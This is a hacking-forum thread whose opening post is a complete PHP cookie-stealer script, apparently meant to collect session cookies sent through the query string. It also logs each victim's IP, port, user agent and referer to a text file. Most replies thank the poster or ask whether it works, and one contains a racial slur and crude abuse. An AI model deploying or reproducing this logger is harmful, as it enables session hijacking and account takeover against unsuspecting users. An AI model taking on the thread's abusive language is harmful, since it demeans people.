boneez 2 <?phpfunction GetIP() { if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) $ip = getenv("HTTP_CLIENT_IP"); else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) $ip = getenv("HTTP_X_FORWARDED_FOR"); else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) $ip = getenv("REMOTE_ADDR"); else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) $ip = $_SERVER['REMOTE_ADDR']; else $ip = "unknown"; return($ip); } function logData() { $ipLog="informations.txt"; $cookie = $_SERVER['QUERY_STRING']; $register_globals = (bool) ini_get('register_gobals'); if ($register_globals) $ip = getenv('REMOTE_ADDR'); else $ip = GetIP(); $rem_port = $_SERVER['REMOTE_PORT']; $user_agent = $_SERVER['HTTP_USER_AGENT']; $rqst_method = $_SERVER['METHOD']; $rem_host = $_SERVER['REMOTE_HOST']; $referer = $_SERVER['HTTP_REFERER']; $date=date ("l dS of F Y h:i:s A"); $log=fopen("$ipLog", "a+"); if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog)) fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie "); else fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n"); fclose($log); } logData();?> Quote Share this post Link to post Share on other sites
CadyYaBoiP 46 Thanks? Not into this kinda stuff lol. Quote Share this post Link to post Share on other sites
drake spider 8 thanks for sharing ...and keep up the good work Quote Share this post Link to post Share on other sites
Derk3123 3 Easy to setup as it save all into an .txt wow that was nice! Quote Share this post Link to post Share on other sites
kuttysoft 1 i was having same thing but missed ... its now working ? Quote Share this post Link to post Share on other sites
deaglebey 1 Easy to setup as it save all into an .txt thanks Quote Share this post Link to post Share on other sites
jackle 0 thanks for sharing will take a look at this Quote Share this post Link to post Share on other sites
tde5444r 0 hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh Quote Share this post Link to post Share on other sites
Unavailable 5 Someone already used that and know if its work or not? Quote Share this post Link to post Share on other sites
SphynxsSphynxs 1 dont know what this is actually gotta try out thanks Quote Share this post Link to post Share on other sites
mishakovlov213 0 Easy to setup as it save all into an .txt cool suck my dick nigga Quote Share this post Link to post Share on other sites
clownmain 0 Easy to setup as it save all into an .txt lol wut 0w0 Quote Share this post Link to post Share on other sites
Meme 0 maybe i can put it to some good use thank you dude, <3 Quote Share this post Link to post Share on other sites
kocaaslan 0 thnx for thıs share pls lıke guys Quote Share this post Link to post Share on other sites